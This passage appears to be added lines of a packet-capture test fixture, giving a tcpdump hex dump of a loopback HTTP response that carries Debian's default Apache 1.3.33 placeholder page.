+	0x0030:  2000 3703 0000 0101 080a 4ddc 9218 4ddc  ..7.......M...M.
+	0x0040:  9217                                     ..
+22:57:35.941232 IP 127.0.0.1.80 > 127.0.0.1.55920: Flags [P.], seq 1:5560, ack 203, win 8192, options [nop,nop,TS val 1306300953 ecr 1306300951], length 5559
+	0x0000:  0000 0000 0000 0000 0000 0000 0800 4500  ..............E.
+	0x0010:  15eb 1fe6 4000 4006 0725 7f00 0001 7f00  ....@.@..%......
+	0x0020:  0001 0050 da70 377a 8df2 3758 8a49 8018  ...P.p7z..7X.I..
+	0x0030:  2000 13e0 0000 0101 080a 4ddc 9219 4ddc  ..........M...M.
+	0x0040:  9217 4854 5450 2f31 2e31 2032 3030 204f  ..HTTP/1.1.200.O
+	0x0050:  4b0d 0a44 6174 653a 2057 6564 2c20 3036  K..Date:.Wed,.06
+	0x0060:  204a 756c 2032 3030 3520 3033 3a35 373a  .Jul.2005.03:57:
+	0x0070:  3335 2047 4d54 0d0a 5365 7276 6572 3a20  35.GMT..Server:.
+	0x0080:  4170 6163 6865 2f31 2e33 2e33 330d 0a4c  Apache/1.3.33..L
+	0x0090:  6173 742d 4d6f 6469 6669 6564 3a20 5375  ast-Modified:.Su
+	0x00a0:  6e2c 2031 3520 4175 6720 3230 3034 2030  n,.15.Aug.2004.0
+	0x00b0:  303a 3433 3a34 3120 474d 540d 0a45 5461  0:43:41.GMT..ETa
+	0x00c0:  673a 2022 3665 3830 6630 2d31 3438 612d  g:."6e80f0-148a-
+	0x00d0:  3431 3165 6231 6264 220d 0a41 6363 6570  411eb1bd"..Accep
+	0x00e0:  742d 5261 6e67 6573 3a20 6279 7465 730d  t-Ranges:.bytes.
+	0x00f0:  0a43 6f6e 7465 6e74 2d4c 656e 6774 683a  .Content-Length:
+	0x0100:  2035 3235 380d 0a4b 6565 702d 416c 6976  .5258..Keep-Aliv
+	0x0110:  653a 2074 696d 656f 7574 3d31 352c 206d  e:.timeout=15,.m
+	0x0120:  6178 3d31 3030 0d0a 436f 6e6e 6563 7469  ax=100..Connecti
+	0x0130:  6f6e 3a20 4b65 6570 2d41 6c69 7665 0d0a  on:.Keep-Alive..
+	0x0140:  436f 6e74 656e 742d 5479 7065 3a20 7465  Content-Type:.te
+	0x0150:  7874 2f68 746d 6c3b 2063 6861 7273 6574  xt/html;.charset
+	0x0160:  3d69 736f 2d38 3835 392d 310d 0a0d 0a3c  =iso-8859-1....<
+	0x0170:  2144 4f43 5459 5045 2048 544d 4c20 5055  !DOCTYPE.HTML.PU
+	0x0180:  424c 4943 2022 2d2f 2f57 3343 2f2f 4454  BLIC."-//W3C//DT
+	0x0190:  4420 4854 4d4c 2034 2e30 3120 5472 616e  D.HTML.4.01.Tran
+	0x01a0:  7369 7469 6f6e 616c 2f2f 454e 223e 0a3c  sitional//EN">.<
+	0x01b0:  4854 4d4c 3e0a 3c48 4541 443e 0a20 2020  HTML>.<HEAD>....
+	0x01c0:  3c4d 4554 4120 4854 5450 2d45 5155 4956  <META.HTTP-EQUIV
+	0x01d0:  3d22 436f 6e74 656e 742d 5479 7065 2220  ="Content-Type".
+	0x01e0:  434f 4e54 454e 543d 2274 6578 742f 6874  CONTENT="text/ht
+	0x01f0:  6d6c 3b20 6368 6172 7365 743d 6973 6f2d  ml;.charset=iso-
+	0x0200:  3838 3539 2d31 223e 0a20 2020 3c4d 4554  8859-1">....<MET
+	0x0210:  4120 4e41 4d45 3d22 4465 7363 7269 7074  A.NAME="Descript
+	0x0220:  696f 6e22 2043 4f4e 5445 4e54 3d22 5468  ion".CONTENT="Th
+	0x0230:  6520 696e 6974 6961 6c20 696e 7374 616c  e.initial.instal
+	0x0240:  6c61 7469 6f6e 206f 6620 4465 6269 616e  lation.of.Debian
+	0x0250:  2061 7061 6368 652e 223e 0a20 2020 3c54  .apache.">....<T
+	0x0260:  4954 4c45 3e50 6c61 6365 686f 6c64 6572  ITLE>Placeholder
+	0x0270:  2070 6167 653c 2f54 4954 4c45 3e0a 3c2f  .page</TITLE>.</
+	0x0280:  4845 4144 3e0a 3c42 4f44 5920 5445 5854  HEAD>.<BODY.TEXT
+	0x0290:  3d22 2330 3030 3030 3022 2042 4743 4f4c  ="#000000".BGCOL
+	0x02a0:  4f52 3d22 2346 4646 4646 4622 204c 494e  OR="#FFFFFF".LIN
+	0x02b0:  4b3d 2223 3030 3030 4546 2220 564c 494e  K="#0000EF".VLIN
+	0x02c0:  4b3d 2223 3535 3138 3841 2220 414c 494e  K="#55188A".ALIN
+	0x02d0:  4b3d 2223 4646 3030 3030 223e 0a0a 3c48  K="#FF0000">..<H
+	0x02e0:  313e 506c 6163 6568 6f6c 6465 7220 7061  1>Placeholder.pa
+	0x02f0:  6765 3c2f 4831 3e0a 3c48 323e 4966 2079  ge</H1>.<H2>If.y
+	0x0300:  6f75 2061 7265 206a 7573 7420 6272 6f77  ou.are.just.brow
+	0x0310:  7369 6e67 2074 6865 2077 6562 3c2f 6832  sing.the.web</h2
+	0x0320:  3e0a 0a3c 503e 5468 6520 6f77 6e65 7220  >..<P>The.owner.
+	0x0330:  6f66 2074 6869 7320 7765 6220 7369 7465  of.this.web.site
+	0x0340:  2068 6173 206e 6f74 2070 7574 2075 7020  .has.not.put.up.
+	0x0350:  616e 7920 7765 6220 7061 6765 7320 7965  any.web.pages.ye
+	0x0360:  742e 0a50 6c65 6173 6520 636f 6d65 2062  t..Please.come.b
+	0x0370:  6163 6b20 6c61 7465 722e 3c2f 503e 0a0a  ack.later.</P>..
+	0x0380:  3c50 3e3c 534d 414c 4c3e 3c43 4954 453e  <P><SMALL><CITE>
+	0x0390:  4d6f 7665 2061 6c6f 6e67 2c20 6e6f 7468  Move.along,.noth
+	0x03a0:  696e 6720 746f 2073 6565 2068 6572 652e  ing.to.see.here.
+	0x03b0:  2e2e 3c2f 4349 5445 3e20 3a2d 293c 2f53  ..</CITE>.:-)</S
+	0x03c0:  4d41 4c4c 3e3c 2f50 3e0a 0a3c 4832 3e49  MALL></P>..<H2>I
+	0x03d0:  6620 796f 7520 6172 6520 7472 7969 6e67  f.you.are.trying
+	0x03e0:  2074 6f20 6c6f 6361 7465 2074 6865 2061  .to.locate.the.a
+	0x03f0:  646d 696e 6973 7472 6174 6f72 206f 6620  dministrator.of.
+	0x0400:  7468 6973 206d 6163 6869 6e65 3c2f 4832  this.machine</H2
+	0x0410:  3e0a 0a3c 503e 4966 2079 6f75 2077 616e  >..<P>If.you.wan
+	0x0420:  7420 746f 2072 6570 6f72 7420 736f 6d65  t.to.report.some
+	0x0430:  7468 696e 6720 6162 6f75 7420 7468 6973  thing.about.this
+	0x0440:  2068 6f73 7427 7320 6265 6861 7669 6f72  .host's.behavior
+	0x0450:  2c20 706c 6561 7365 0a63 6f6e 7461 6374  ,.please.contact
+	0x0460:  2074 6865 2049 6e74 6572 6e65 7420 5365  .the.Internet.Se
+	0x0470:  7276 6963 6520 5072 6f76 6964 6572 2028  rvice.Provider.(
+	0x0480:  4953 5029 2069 6e76 6f6c 7665 6420 6469  ISP).involved.di
+	0x0490:  7265 6374 6c79 2e3c 2f50 3e0a 0a3c 503e  rectly.</P>..<P>
+	0x04a0:  5365 6520 7468 6520 3c41 2068 7265 663d  See.the.<A.href=
+	0x04b0:  2268 7474 703a 2f2f 7777 772e 6162 7573  "http://www.abus
+	0x04c0:  652e 6e65 742f 223e 4e65 7477 6f72 6b20  e.net/">Network.
+	0x04d0:  4162 7573 650a 436c 6561 7269 6e67 686f  Abuse.Clearingho
+	0x04e0:  7573 653c 2f41 3e20 666f 7220 686f 7720  use</A>.for.how.
+	0x04f0:  746f 2064 6f20 7468 6973 2e3c 2f50 3e0a  to.do.this.</P>.
+	0x0500:  0a3c 4832 3e49 6620 796f 7520 6172 6520  .<H2>If.you.are.
+	0x0510:  7468 6520 6164 6d69 6e69 7374 7261 746f  the.administrato
+	0x0520:  7220 6f66 2074 6869 7320 6d61 6368 696e  r.of.this.machin
+	0x0530:  653c 2f48 323e 0a0a 3c50 3e54 6865 2069  e</H2>..<P>The.i
+	0x0540:  6e69 7469 616c 2069 6e73 7461 6c6c 6174  nitial.installat
+	0x0550:  696f 6e20 6f66 203c 4120 6872 6566 3d22  ion.of.<A.href="
+	0x0560:  6874 7470 3a2f 2f77 7777 2e64 6562 6961  http://www.debia
+	0x0570:  6e2e 6f72 672f 223e 4465 6269 616e 2773  n.org/">Debian's
+	0x0580:  0a61 7061 6368 653c 2f41 3e20 7765 6220  .apache</A>.web.
+	0x0590:  7365 7276 6572 2070 6163 6b61 6765 2077  server.package.w
+	0x05a0:  6173 2073 7563 6365 7373 6675 6c2e 3c2f  as.successful.</
+	0x05b0:  503e 0a0a 3c50 3e3c 5354 524f 4e47 3e59  P>..<P><STRONG>Y
+	0x05c0:  6f75 2073 686f 756c 6420 7265 706c 6163  ou.should.replac
+	0x05d0:  6520 7468 6973 2070 6167 6520 7769 7468  e.this.page.with
+	0x05e0:  2079 6f75 7220 6f77 6e20 7765 6220 7061  .your.own.web.pa
+	0x05f0:  6765 7320 6173 0a73 6f6f 6e20 6173 2070  ges.as.soon.as.p
+	0x0600:  6f73 7369 626c 652e 3c2f 5354 524f 4e47  ossible.</STRONG
+	0x0610:  3e3c 2f50 3e0a 0a3c 503e 556e 6c65 7373  ></P>..<P>Unless
+	0x0620:  2079 6f75 2063 6861 6e67 6564 2069 7473  .you.changed.its
+	0x0630:  2063 6f6e 6669 6775 7261 7469 6f6e 2c20  .configuration,.
+	0x0640:  796f 7572 206e 6577 2073 6572 7665 7220  your.new.server.
+	0x0650:  6973 2063 6f6e 6669 6775 7265 6420 6173  is.configured.as
+	0x0660:  2066 6f6c 6c6f 7773 3a0a 3c55 4c3e 0a3c  .follows:.<UL>.<
+	0x0670:  4c49 3e0a 436f 6e66 6967 7572 6174 696f  LI>.Configuratio
+	0x0680:  6e20 6669 6c65 7320 6361 6e20 6265 2066  n.files.can.be.f
+	0x0690:  6f75 6e64 2069 6e20 3c54 543e 2f65 7463  ound.in.<TT>/etc
+	0x06a0:  2f61 7061 6368 653c 2f54 543e 2e3c 2f4c  /apache</TT>.</L
+	0x06b0:  493e 0a0a 3c4c 493e 0a54 6865 203c 5454  I>..<LI>.The.<TT
+	0x06c0:  3e44 6f63 756d 656e 7452 6f6f 743c 2f54  >DocumentRoot</T
+	0x06d0:  543e 2c20 7768 6963 6820 6973 2074 6865  T>,.which.is.the
+	0x06e0:  2064 6972 6563 746f 7279 2075 6e64 6572  .directory.under
+	0x06f0:  2077 6869 6368 2061 6c6c 2079 6f75 720a  .which.all.your.
+	0x0700:  4854 4d4c 2066 696c 6573 2073 686f 756c  HTML.files.shoul
+	0x0710:  6420 6578 6973 742c 2069 7320 7365 7420  d.exist,.is.set.
+	0x0720:  746f 203c 5454 3e2f 7661 722f 7777 773c  to.<TT>/var/www<
+	0x0730:  2f54 543e 2e3c 2f4c 493e 0a0a 3c4c 493e  /TT>.</LI>..<LI>
+	0x0740:  0a43 4749 2073 6372 6970 7473 2061 7265  .CGI.scripts.are
+	0x0750:  206c 6f6f 6b65 6420 666f 7220 696e 203c  .looked.for.in.<
+	0x0760:  5454 3e2f 7573 722f 6c69 622f 6367 692d  TT>/usr/lib/cgi-
+	0x0770:  6269 6e3c 2f54 543e 2c20 7768 6963 6820  bin</TT>,.which.
+	0x0780:  6973 2077 6865 7265 0a44 6562 6961 6e20  is.where.Debian.
+	0x0790:  7061 636b 6167 6573 2077 696c 6c20 706c  packages.will.pl
+	0x07a0:  6163 6520 7468 6569 7220 7363 7269 7074  ace.their.script
+	0x07b0:  732e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 4c6f  s.</LI>..<LI>.Lo
+	0x07c0:  6720 6669 6c65 7320 6172 6520 706c 6163  g.files.are.plac
+	0x07d0:  6564 2069 6e20 3c54 543e 2f76 6172 2f6c  ed.in.<TT>/var/l
+	0x07e0:  6f67 2f61 7061 6368 653c 2f54 543e 2c20  og/apache</TT>,.
+	0x07f0:  616e 6420 7769 6c6c 2062 6520 726f 7461  and.will.be.rota
+	0x0800:  7465 640a 7765 656b 6c79 2e20 2054 6865  ted.weekly...The
+	0x0810:  2066 7265 7175 656e 6379 206f 6620 726f  .frequency.of.ro
+	0x0820:  7461 7469 6f6e 2063 616e 2062 6520 6561  tation.can.be.ea
+	0x0830:  7369 6c79 2063 6861 6e67 6564 2062 7920  sily.changed.by.
+	0x0840:  6564 6974 696e 670a 3c54 543e 2f65 7463  editing.<TT>/etc
+	0x0850:  2f6c 6f67 726f 7461 7465 2e64 2f61 7061  /logrotate.d/apa
+	0x0860:  6368 653c 2f54 543e 2e3c 2f4c 493e 0a0a  che</TT>.</LI>..
+	0x0870:  3c4c 493e 0a54 6865 2064 6566 6175 6c74  <LI>.The.default
+	0x0880:  2064 6972 6563 746f 7279 2069 6e64 6578  .directory.index
+	0x0890:  2069 7320 3c54 543e 696e 6465 782e 6874  .is.<TT>index.ht
+	0x08a0:  6d6c 3c2f 5454 3e2c 206d 6561 6e69 6e67  ml</TT>,.meaning
+	0x08b0:  2074 6861 7420 7265 7175 6573 7473 0a66  .that.requests.f
+	0x08c0:  6f72 2061 2064 6972 6563 746f 7279 203c  or.a.directory.<
+	0x08d0:  5454 3e2f 666f 6f2f 6261 722f 3c2f 5454  TT>/foo/bar/</TT
+	0x08e0:  3e20 7769 6c6c 2067 6976 6520 7468 6520  >.will.give.the.
+	0x08f0:  636f 6e74 656e 7473 206f 6620 7468 6520  contents.of.the.
+	0x0900:  6669 6c65 203c 5454 3e2f 7661 722f 7777  file.<TT>/var/ww
+	0x0910:  772f 666f 6f2f 6261 722f 696e 6465 782e  w/foo/bar/index.
+	0x0920:  6874 6d6c 3c2f 5454 3e0a 6966 2069 7420  html</TT>.if.it.
+	0x0930:  6578 6973 7473 2028 6173 7375 6d69 6e67  exists.(assuming
+	0x0940:  2074 6861 7420 3c54 543e 2f76 6172 2f77  .that.<TT>/var/w
+	0x0950:  7777 3c2f 5454 3e20 6973 2079 6f75 7220  ww</TT>.is.your.
+	0x0960:  3c54 543e 446f 6375 6d65 6e74 526f 6f74  <TT>DocumentRoot
+	0x0970:  3c2f 5454 3e29 2e3c 2f4c 493e 0a0a 3c4c  </TT>).</LI>..<L
+	0x0980:  493e 0a55 7365 7220 6469 7265 6374 6f72  I>.User.director
+	0x0990:  6965 7320 6172 6520 656e 6162 6c65 642c  ies.are.enabled,
+	0x09a0:  2061 6e64 2075 7365 7220 646f 6375 6d65  .and.user.docume
+	0x09b0:  6e74 7320 7769 6c6c 2062 6520 6c6f 6f6b  nts.will.be.look
+	0x09c0:  6564 2066 6f72 0a69 6e20 7468 6520 3c54  ed.for.in.the.<T
+	0x09d0:  543e 7075 626c 6963 5f68 746d 6c3c 2f54  T>public_html</T
+	0x09e0:  543e 2064 6972 6563 746f 7279 206f 6620  T>.directory.of.
+	0x09f0:  7468 6520 7573 6572 7327 2068 6f6d 6573  the.users'.homes
+	0x0a00:  2e20 2054 6865 7365 2064 6972 730a 7368  ...These.dirs.sh
+	0x0a10:  6f75 6c64 2062 6520 756e 6465 7220 3c54  ould.be.under.<T
+	0x0a20:  543e 2f68 6f6d 653c 2f54 543e 2c20 616e  T>/home</TT>,.an
+	0x0a30:  6420 7573 6572 7320 7769 6c6c 206e 6f74  d.users.will.not
+	0x0a40:  2062 6520 6162 6c65 2074 6f20 7379 6d6c  .be.able.to.syml
+	0x0a50:  696e 6b0a 746f 2066 696c 6573 2074 6865  ink.to.files.the
+	0x0a60:  7920 646f 6e27 7420 6f77 6e2e 3c2f 4c49  y.don't.own.</LI
+	0x0a70:  3e0a 0a3c 2f55 4c3e 0a41 6c6c 2074 6865  >..</UL>.All.the
+	0x0a80:  2073 7461 6e64 6172 6420 6170 6163 6865  .standard.apache
+	0x0a90:  206d 6f64 756c 6573 2061 7265 2061 7661  .modules.are.ava
+	0x0aa0:  696c 6162 6c65 2077 6974 6820 7468 6973  ilable.with.this
+	0x0ab0:  2072 656c 6561 7365 2061 6e64 2061 7265  .release.and.are
+	0x0ac0:  0a6e 6f77 206d 616e 6167 6564 2077 6974  .now.managed.wit
+	0x0ad0:  6820 6465 6263 6f6e 662e 2020 5479 7065  h.debconf...Type
+	0x0ae0:  203c 5454 3e64 706b 672d 7265 636f 6e66  .<TT>dpkg-reconf
+	0x0af0:  6967 7572 6520 6170 6163 6865 3c2f 5454  igure.apache</TT
+	0x0b00:  3e20 746f 0a73 656c 6563 7420 7768 6963  >.to.select.whic
+	0x0b10:  6820 6d6f 6475 6c65 7320 796f 7520 7761  h.modules.you.wa
+	0x0b20:  6e74 2065 6e61 626c 6564 2e20 204d 616e  nt.enabled...Man
+	0x0b30:  7920 6f74 6865 7220 6d6f 6475 6c65 7320  y.other.modules.
+	0x0b40:  6172 6520 6176 6169 6c61 626c 650a 7468  are.available.th
+	0x0b50:  726f 7567 6820 7468 6520 4465 6269 616e  rough.the.Debian
+	0x0b60:  2070 6163 6b61 6765 2073 7973 7465 6d20  .package.system.
+	0x0b70:  7769 7468 2074 6865 206e 616d 6573 203c  with.the.names.<
+	0x0b80:  5454 3e6c 6962 6170 6163 6865 2d6d 6f64  TT>libapache-mod
+	0x0b90:  2d2a 3c2f 5454 3e2e 0a49 6620 796f 7520  -*</TT>..If.you.
+	0x0ba0:  6e65 6564 2074 6f20 636f 6d70 696c 6520  need.to.compile.
+	0x0bb0:  6120 6d6f 6475 6c65 2079 6f75 7273 656c  a.module.yoursel
+	0x0bc0:  662c 2079 6f75 2077 696c 6c20 6e65 6564  f,.you.will.need
+	0x0bd0:  2074 6f20 696e 7374 616c 6c20 7468 650a  .to.install.the.
+	0x0be0:  3c54 543e 6170 6163 6865 2d64 6576 3c2f  <TT>apache-dev</
+	0x0bf0:  5454 3e20 7061 636b 6167 652e 0a0a 3c50  TT>.package...<P
+	0x0c00:  3e4d 6f72 6520 646f 6375 6d65 6e74 6174  >More.documentat
+	0x0c10:  696f 6e20 6f6e 2041 7061 6368 6520 6361  ion.on.Apache.ca
+	0x0c20:  6e20 6265 2066 6f75 6e64 206f 6e3a 0a3c  n.be.found.on:.<
+	0x0c30:  554c 3e0a 3c4c 493e 0a54 6865 203c 4120  UL>.<LI>.The.<A.
+	0x0c40:  4852 4546 3d22 2f64 6f63 2f61 7061 6368  HREF="/doc/apach
+	0x0c50:  652d 646f 632f 6d61 6e75 616c 2f22 3e41  e-doc/manual/">A
+	0x0c60:  7061 6368 6520 646f 6375 6d65 6e74 6174  pache.documentat
+	0x0c70:  696f 6e3c 2f41 3e20 7374 6f72 6564 206f  ion</A>.stored.o
+	0x0c80:  6e20 796f 7572 2073 6572 7665 722e 3c2f  n.your.server.</
+	0x0c90:  4c49 3e0a 0a3c 4c49 3e0a 5468 6520 3c41  LI>..<LI>.The.<A
+	0x0ca0:  2048 5245 463d 2268 7474 703a 2f2f 7777  .HREF="http://ww
+	0x0cb0:  772e 6170 6163 6865 2e6f 7267 2f22 3e41  w.apache.org/">A
+	0x0cc0:  7061 6368 6520 5072 6f6a 6563 743c 2f41  pache.Project</A
+	0x0cd0:  3e20 686f 6d65 2073 6974 652e 3c2f 4c49  >.home.site.</LI
+	0x0ce0:  3e0a 0a3c 4c49 3e0a 5468 6520 3c41 2048  >..<LI>.The.<A.H
+	0x0cf0:  5245 463d 2268 7474 703a 2f2f 7777 772e  REF="http://www.
+	0x0d00:  6170 6163 6865 2d73 736c 2e6f 7267 2f22  apache-ssl.org/"
+	0x0d10:  3e41 7061 6368 652d 5353 4c3c 2f41 3e20  >Apache-SSL</A>.
+	0x0d20:  686f 6d65 2073 6974 652e 3c2f 4c49 3e0a  home.site.</LI>.
+	0x0d30:  0a3c 4c49 3e0a 5468 6520 3c41 2048 5245  .<LI>.The.<A.HRE
+	0x0d40:  463d 2268 7474 703a 2f2f 7065 726c 2e61  F="http://perl.a
+	0x0d50:  7061 6368 652e 6f72 672f 223e 6d6f 6420  pache.org/">mod.
+	0x0d60:  7065 726c 3c2f 413e 2068 6f6d 6520 7369  perl</A>.home.si
+	0x0d70:  7465 2e3c 2f4c 493e 0a0a 3c4c 493e 0a54  te.</LI>..<LI>.T
+	0x0d80:  6865 203c 4120 4852 4546 3d22 6874 7470  he.<A.HREF="http
+	0x0d90:  3a2f 2f77 7777 2e61 7061 6368 6577 6565  ://www.apachewee
+	0x0da0:  6b2e 636f 6d2f 223e 4170 6163 6865 5765  k.com/">ApacheWe
+	0x0db0:  656b 3c2f 413e 206e 6577 736c 6574 7465  ek</A>.newslette
+	0x0dc0:  722e 3c2f 4c49 3e0a 0a3c 4c49 3e0a 5468  r.</LI>..<LI>.Th
+	0x0dd0:  6520 3c41 2048 5245 463d 2268 7474 703a  e.<A.HREF="http:
+	0x0de0:  2f2f 7777 772e 6465 6269 616e 2e6f 7267  //www.debian.org
+	0x0df0:  2f64 6f63 2f22 3e44 6562 6961 6e20 5072  /doc/">Debian.Pr
+	0x0e00:  6f6a 6563 740a 446f 6375 6d65 6e74 6174  oject.Documentat
+	0x0e10:  696f 6e3c 2f41 3e20 7768 6963 6820 636f  ion</A>.which.co
+	0x0e20:  6e74 6169 6e73 2048 4f57 544f 732c 2046  ntains.HOWTOs,.F
+	0x0e30:  4151 732c 2061 6e64 2073 6f66 7477 6172  AQs,.and.softwar
+	0x0e40:  6520 7570 6461 7465 732e 3c2f 4c49 3e0a  e.updates.</LI>.
+	0x0e50:  3c2f 554c 3e0a 0a3c 503e 596f 7520 6361  </UL>..<P>You.ca
+	0x0e60:  6e20 616c 736f 2063 6f6e 7375 6c74 2074  n.also.consult.t
+	0x0e70:  6865 206c 6973 7420 6f66 203c 4120 4852  he.list.of.<A.HR
+	0x0e80:  4546 3d22 6874 7470 3a2f 2f77 7777 2e62  EF="http://www.b
+	0x0e90:  6f75 7465 6c6c 2e63 6f6d 2f66 6171 2f22  outell.com/faq/"
+	0x0ea0:  3e57 6f72 6c64 0a57 6964 6520 5765 6220  >World.Wide.Web.
+	0x0eb0:  4672 6571 7565 6e74 6c79 2041 736b 6564  Frequently.Asked
+	0x0ec0:  2051 7565 7374 696f 6e73 3c2f 413e 2066  .Questions</A>.f
+	0x0ed0:  6f72 2069 6e66 6f72 6d61 7469 6f6e 2e0a  or.information..
+	0x0ee0:  0a3c 4832 3e4c 6574 206f 7468 6572 2070  .<H2>Let.other.p
+	0x0ef0:  656f 706c 6520 6b6e 6f77 2061 626f 7574  eople.know.about
+	0x0f00:  2074 6869 7320 7365 7276 6572 3c2f 4832  .this.server</H2
+	0x0f10:  3e0a 0a3c 4120 4852 4546 3d22 6874 7470  >..<A.HREF="http
+	0x0f20:  3a2f 2f6e 6574 6372 6166 742e 636f 6d2f  ://netcraft.com/
+	0x0f30:  223e 4e65 7463 7261 6674 3c2f 413e 2070  ">Netcraft</A>.p
+	0x0f40:  726f 7669 6465 7320 616e 2069 6e74 6572  rovides.an.inter
+	0x0f50:  6573 7469 6e67 2066 7265 650a 7365 7276  esting.free.serv
+	0x0f60:  6963 6520 666f 7220 7765 6220 7369 7465  ice.for.web.site
+	0x0f70:  206d 6f6e 6974 6f72 696e 6720 616e 6420  .monitoring.and.
+	0x0f80:  7374 6174 6973 7469 6320 636f 6c6c 6563  statistic.collec
+	0x0f90:  7469 6f6e 2e0a 596f 7520 6361 6e20 6c65  tion..You.can.le
+	0x0fa0:  7420 7468 656d 206b 6e6f 7720 6162 6f75  t.them.know.abou
+	0x0fb0:  7420 796f 7572 2073 6572 7665 7220 7573  t.your.server.us
+	0x0fc0:  696e 6720 7468 6569 720a 3c41 2048 5245  ing.their.<A.HRE
+	0x0fd0:  463d 2268 7474 703a 2f2f 7570 7469 6d65  F="http://uptime
+	0x0fe0:  2e6e 6574 6372 6166 742e 636f 6d2f 223e  .netcraft.com/">
+	0x0ff0:  696e 7465 7266 6163 653c 2f41 3e2e 0a45  interface</A>..E
+	0x1000:  6e61 626c 696e 6720 7468 6520 6d6f 6e69  nabling.the.moni
+	0x1010:  746f 7269 6e67 206f 6620 796f 7572 2073  toring.of.your.s
+	0x1020:  6572 7665 7220 7769 6c6c 2070 726f 7669  erver.will.provi
+	0x1030:  6465 2061 2062 6574 7465 7220 676c 6f62  de.a.better.glob
+	0x1040:  616c 206f 7665 7276 6965 770a 6f66 2077  al.overview.of.w
+	0x1050:  686f 2069 7320 7573 696e 6720 7768 6174  ho.is.using.what
+	0x1060:  2061 6e64 2077 6865 7265 2c20 616e 6420  .and.where,.and.
+	0x1070:  6974 2077 6f75 6c64 2067 6976 6520 4465  it.would.give.De
+	0x1080:  6269 616e 2061 2062 6574 7465 720a 6f76  bian.a.better.ov
+	0x1090:  6572 7669 6577 206f 6620 7468 6520 6170  erview.of.the.ap
+	0x10a0:  6163 6865 2070 6163 6b61 6765 2075 7361  ache.package.usa
+	0x10b0:  6765 2e0a 0a3c 4832 3e41 626f 7574 2074  ge...<H2>About.t
+	0x10c0:  6869 7320 7061 6765 3c2f 4832 3e0a 0a3c  his.page</H2>..<
+	0x10d0:  494d 4720 414c 4947 4e3d 2272 6967 6874  IMG.ALIGN="right
+	0x10e0:  2220 414c 543d 2222 2048 4549 4748 543d  ".ALT="".HEIGHT=
+	0x10f0:  2232 3437 2220 5749 4454 483d 2232 3738  "247".WIDTH="278
+	0x1100:  2220 5352 433d 2269 636f 6e73 2f6a 6865  ".SRC="icons/jhe
+	0x1110:  3036 312e 706e 6722 3e0a 0a3c 503e 5468  061.png">..<P>Th
+	0x1120:  6973 2069 7320 6120 706c 6163 6568 6f6c  is.is.a.placehol
+	0x1130:  6465 7220 7061 6765 2069 6e73 7461 6c6c  der.page.install
+	0x1140:  6564 2062 7920 7468 6520 3c41 0a48 5245  ed.by.the.<A.HRE
+	0x1150:  463d 2268 7474 703a 2f2f 7777 772e 6465  F="http://www.de
+	0x1160:  6269 616e 2e6f 7267 2f22 3e44 6562 6961  bian.org/">Debia
+	0x1170:  6e3c 2f41 3e0a 7265 6c65 6173 6520 6f66  n</A>.release.of
+	0x1180:  2074 6865 2061 7061 6368 6520 5765 6220  .the.apache.Web.
+	0x1190:  7365 7276 6572 2070 6163 6b61 6765 2e0a  server.package..
+	0x11a0:  0a3c 503e 5468 6973 2063 6f6d 7075 7465  .<P>This.compute
+	0x11b0:  7220 6861 7320 696e 7374 616c 6c65 6420  r.has.installed.
+	0x11c0:  7468 6520 4465 6269 616e 2047 4e55 2f4c  the.Debian.GNU/L
+	0x11d0:  696e 7578 206f 7065 7261 7469 6e67 2073  inux.operating.s
+	0x11e0:  7973 7465 6d2c 0a62 7574 2069 7420 6861  ystem,.but.it.ha
+	0x11f0:  7320 3c73 7472 6f6e 673e 6e6f 7468 696e  s.<strong>nothin
+	0x1200:  6720 746f 2064 6f20 7769 7468 2074 6865  g.to.do.with.the
+	0x1210:  2044 6562 6961 6e0a 5072 6f6a 6563 743c  .Debian.Project<
+	0x1220:  2f73 7472 6f6e 673e 2e20 506c 6561 7365  /strong>..Please
+	0x1230:  2064 6f20 3c73 7472 6f6e 673e 6e6f 743c  .do.<strong>not<
+	0x1240:  2f73 7472 6f6e 673e 2063 6f6e 7461 6374  /strong>.contact
+	0x1250:  2074 6865 2044 6562 6961 6e0a 5072 6f6a  .the.Debian.Proj
+	0x1260:  6563 7420 6162 6f75 7420 6974 2e3c 2f50  ect.about.it.</P
+	0x1270:  3e0a 0a3c 503e 4966 2079 6f75 2066 696e  >..<P>If.you.fin
+	0x1280:  6420 6120 6275 6720 696e 2074 6869 7320  d.a.bug.in.this.
+	0x1290:  6170 6163 6865 2070 6163 6b61 6765 2c20  apache.package,.
+	0x12a0:  6f72 2069 6e20 4170 6163 6865 2069 7473  or.in.Apache.its
+	0x12b0:  656c 662c 0a70 6c65 6173 6520 6669 6c65  elf,.please.file
+	0x12c0:  2061 2062 7567 2072 6570 6f72 7420 6f6e  .a.bug.report.on
+	0x12d0:  2069 742e 2020 496e 7374 7275 6374 696f  .it...Instructio
+	0x12e0:  6e73 206f 6e20 646f 696e 6720 7468 6973  ns.on.doing.this
+	0x12f0:  2c20 616e 6420 7468 650a 6c69 7374 206f  ,.and.the.list.o
+	0x1300:  6620 3c41 2048 5245 463d 2268 7474 703a  f.<A.HREF="http:
+	0x1310:  2f2f 6275 6773 2e64 6562 6961 6e2e 6f72  //bugs.debian.or
+	0x1320:  672f 7372 633a 6170 6163 6865 223e 6b6e  g/src:apache">kn
+	0x1330:  6f77 6e20 6275 6773 3c2f 413e 206f 6620  own.bugs</A>.of.
+	0x1340:  7468 6973 0a70 6163 6b61 6765 2c20 6361  this.package,.ca
+	0x1350:  6e20 6265 2066 6f75 6e64 2069 6e20 7468  n.be.found.in.th
+	0x1360:  6520 0a3c 4120 4852 4546 3d22 6874 7470  e..<A.HREF="http
+	0x1370:  3a2f 2f77 7777 2e64 6562 6961 6e2e 6f72  ://www.debian.or
+	0x1380:  672f 4275 6773 2f52 6570 6f72 7469 6e67  g/Bugs/Reporting
+	0x1390:  223e 4465 6269 616e 2042 7567 2054 7261  ">Debian.Bug.Tra
+	0x13a0:  636b 696e 6720 5379 7374 656d 3c2f 413e  cking.System</A>
+	0x13b0:  2e0a 0a3c 503e 5468 616e 6b73 2066 6f72  ...<P>Thanks.for
+	0x13c0:  2075 7369 6e67 2074 6869 7320 7061 636b  .using.this.pack
+	0x13d0:  6167 652c 2061 6e64 2063 6f6e 6772 6174  age,.and.congrat
+	0x13e0:  756c 6174 696f 6e73 2066 6f72 2079 6f75  ulations.for.you
+	0x13f0:  7220 6368 6f69 6365 206f 660a 6120 4465  r.choice.of.a.De
+	0x1400:  6269 616e 2073 7973 7465 6d21 3c2f 503e  bian.system!</P>
